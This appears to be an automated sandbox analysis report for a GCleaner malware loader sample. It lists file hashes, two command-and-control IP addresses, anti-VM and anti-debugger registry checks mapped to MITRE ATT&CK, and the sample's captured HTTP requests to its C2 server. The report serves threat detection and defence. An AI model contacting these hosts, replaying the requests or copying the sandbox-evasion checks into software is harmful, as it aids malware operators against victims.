gcleaner | 20aa6407587318875a98f4cc567752a4caffcd46104d7f42c427ad8b10317eab

General

Target

20aa6407587318875a98f4cc567752a4caffcd46104d7f42c427ad8b10317eab.exe
Size

1.8MB
MD5

872445f439140f8b8db73ec546971cc9
SHA1

86ca54d31ba843a883c352f387a623dd35c09c8c
SHA256

20aa6407587318875a98f4cc567752a4caffcd46104d7f42c427ad8b10317eab
SHA512

eb28f12e13fabfc1d2ebf768548cafded96006de1c8647f7cdfe37f050d6a16a6cbe2a0e4131dc4a1c7027285bb5d7af544b4168627a793884f1fa169f6aa50c
SSDEEP

24576:UB06NnSMYTaEX4H3VXTzQmmVSXmx7ILXocFLwFkue/e0rShVM6vH663KRqRi8QHf:X6NSHX4XVsmmVIm6b7FLwFFET3gKIc

Score

10^/10

gcleaner discovery evasion loader

Malware Config

Extracted

Family

gcleaner

C2

92.63.197.221

45.91.200.135

Signatures

GCleaner
GCleaner is a Pay-Per-Install malware loader first discovered in early 2019.
loader gcleaner
Gcleaner family
gcleaner

Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs 1 IoCs

evasion

Query Registry

T1012

Virtualization/Sandbox Evasion

T1497

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	20aa6407587318875a98f4cc567752a4caffcd46104d7f42c427ad8b10317eab.exe

Checks BIOS information in registry 2 TTPs 2 IoCs

BIOS information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	20aa6407587318875a98f4cc567752a4caffcd46104d7f42c427ad8b10317eab.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	20aa6407587318875a98f4cc567752a4caffcd46104d7f42c427ad8b10317eab.exe

Identifies Wine through registry keys 2 TTPs 1 IoCs

Wine is a compatibility layer capable of running Windows applications, which can be used as sandboxing environment.

evasion

Query Registry

T1012

Virtualization/Sandbox Evasion

T1497

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-1846800975-3917212583-2893086201-1000\Software\Wine	20aa6407587318875a98f4cc567752a4caffcd46104d7f42c427ad8b10317eab.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 1 IoCs

pid	Process
2084	20aa6407587318875a98f4cc567752a4caffcd46104d7f42c427ad8b10317eab.exe

System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	20aa6407587318875a98f4cc567752a4caffcd46104d7f42c427ad8b10317eab.exe

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2084	20aa6407587318875a98f4cc567752a4caffcd46104d7f42c427ad8b10317eab.exe

C:\Users\Admin\AppData\Local\Temp\20aa6407587318875a98f4cc567752a4caffcd46104d7f42c427ad8b10317eab.exe
"C:\Users\Admin\AppData\Local\Temp\20aa6407587318875a98f4cc567752a4caffcd46104d7f42c427ad8b10317eab.exe"
1⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Identifies Wine through registry keys
- Suspicious use of NtSetInformationThreadHideFromDebugger
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
PID:2084

Network

GET

http://92.63.197.221/add?substr=mixtwo&s=three&sub=

20aa6407587318875a98f4cc567752a4caffcd46104d7f42c427ad8b10317eab.exe

Remote address:

92.63.197.221:80

Request

GET /add?substr=mixtwo&s=three&sub= HTTP/1.1
Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1
Accept-Language: ru-RU,ru;q=0.9,en;q=0.8
Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1
Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0
User-Agent: 1
Host: 92.63.197.221
Connection: Keep-Alive
Cache-Control: no-cache

Response

HTTP/1.0 500 Internal Server Error

Date: Fri, 06 Dec 2024 02:18:01 GMT
Server: Apache/2.4.58 (Ubuntu)
Content-Length: 0
Connection: close
Content-Type: text/html; charset=UTF-8
GET

http://92.63.197.221/add?substr=mixtwo&s=three&sub=

20aa6407587318875a98f4cc567752a4caffcd46104d7f42c427ad8b10317eab.exe

Remote address:

92.63.197.221:80

Request

GET /add?substr=mixtwo&s=three&sub= HTTP/1.1
Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1
Accept-Language: ru-RU,ru;q=0.9,en;q=0.8
Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1
Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0
User-Agent: 1
Host: 92.63.197.221
Connection: Keep-Alive
Cache-Control: no-cache

Response

HTTP/1.1 200 OK

Date: Fri, 06 Dec 2024 02:20:20 GMT
Server: Apache/2.4.58 (Ubuntu)
Content-Length: 1
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8
GET

http://92.63.197.221/dll/key

20aa6407587318875a98f4cc567752a4caffcd46104d7f42c427ad8b10317eab.exe

Remote address:

92.63.197.221:80

Request

GET /dll/key HTTP/1.1
Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1
Accept-Language: ru-RU,ru;q=0.9,en;q=0.8
Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1
Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0
User-Agent: 1
Host: 92.63.197.221
Connection: Keep-Alive
Cache-Control: no-cache

92.63.197.221:80

http://92.63.197.221/add?substr=mixtwo&s=three&sub=

http

20aa6407587318875a98f4cc567752a4caffcd46104d7f42c427ad8b10317eab.exe

641 B
397 B
5
5

HTTP Request

GET http://92.63.197.221/add?substr=mixtwo&s=three&sub=

HTTP Response

500
92.63.197.221:80

http://92.63.197.221/dll/key

http

20aa6407587318875a98f4cc567752a4caffcd46104d7f42c427ad8b10317eab.exe

977 B
376 B
4
4

HTTP Request

GET http://92.63.197.221/add?substr=mixtwo&s=three&sub=

HTTP Response

200

HTTP Request

GET http://92.63.197.221/dll/key

No results found

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Virtualization/Sandbox Evasion

2

T1497

Credential Access

Discovery

Query Registry

3

T1012

System Information Discovery

1

T1082

System Location Discovery

1

T1614

System Language Discovery

1

T1614.001

Virtualization/Sandbox Evasion

2

T1497

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/2084-0-0x0000000000400000-0x0000000000C5C000-memory.dmp

Filesize
8.4MB

Download
memory/2084-1-0x0000000077C70000-0x0000000077C72000-memory.dmp

Filesize
8KB

Download
memory/2084-3-0x0000000000400000-0x0000000000C5C000-memory.dmp

Filesize
8.4MB

Download
memory/2084-4-0x0000000000400000-0x0000000000C5C000-memory.dmp

Filesize
8.4MB

Download
memory/2084-2-0x0000000000401000-0x0000000000427000-memory.dmp

Filesize
152KB

Download
memory/2084-6-0x0000000000400000-0x0000000000C5C000-memory.dmp

Filesize
8.4MB

Download
memory/2084-7-0x0000000000400000-0x0000000000C5C000-memory.dmp

Filesize
8.4MB

Download
memory/2084-8-0x0000000000400000-0x0000000000C5C000-memory.dmp

Filesize
8.4MB

Download
memory/2084-9-0x0000000000400000-0x0000000000C5C000-memory.dmp

Filesize
8.4MB

Download
memory/2084-10-0x0000000000401000-0x0000000000427000-memory.dmp

Filesize
152KB

Download
memory/2084-11-0x0000000000400000-0x0000000000C5C000-memory.dmp

Filesize
8.4MB

Download
memory/2084-12-0x0000000000400000-0x0000000000C5C000-memory.dmp

Filesize
8.4MB

Download
memory/2084-13-0x0000000000400000-0x0000000000C5C000-memory.dmp

Filesize
8.4MB

Download
memory/2084-14-0x0000000000400000-0x0000000000C5C000-memory.dmp

Filesize
8.4MB

Download
memory/2084-15-0x0000000000400000-0x0000000000C5C000-memory.dmp

Filesize
8.4MB

Download
memory/2084-16-0x0000000000400000-0x0000000000C5C000-memory.dmp

Filesize
8.4MB

Download
memory/2084-17-0x0000000000400000-0x0000000000C5C000-memory.dmp

Filesize
8.4MB

Download
memory/2084-18-0x0000000000400000-0x0000000000C5C000-memory.dmp

Filesize
8.4MB

Download
memory/2084-19-0x0000000000400000-0x0000000000C5C000-memory.dmp

Filesize
8.4MB

Download
memory/2084-20-0x0000000000400000-0x0000000000C5C000-memory.dmp

Filesize
8.4MB

Download
memory/2084-21-0x0000000000400000-0x0000000000C5C000-memory.dmp

Filesize
8.4MB

Download
memory/2084-22-0x0000000000400000-0x0000000000C5C000-memory.dmp

Filesize
8.4MB

Download
memory/2084-23-0x0000000000400000-0x0000000000C5C000-memory.dmp

Filesize
8.4MB

Download
memory/2084-24-0x0000000000400000-0x0000000000C5C000-memory.dmp

Filesize
8.4MB

Download
memory/2084-25-0x0000000000400000-0x0000000000C5C000-memory.dmp

Filesize
8.4MB

Download
memory/2084-26-0x0000000000400000-0x0000000000C5C000-memory.dmp

Filesize
8.4MB

Download
memory/2084-27-0x0000000000400000-0x0000000000C5C000-memory.dmp

Filesize
8.4MB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

HTTP Request

HTTP Response

HTTP Request

HTTP Response

HTTP Request

MITRE ATT&CK Enterprise v15

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Downloads

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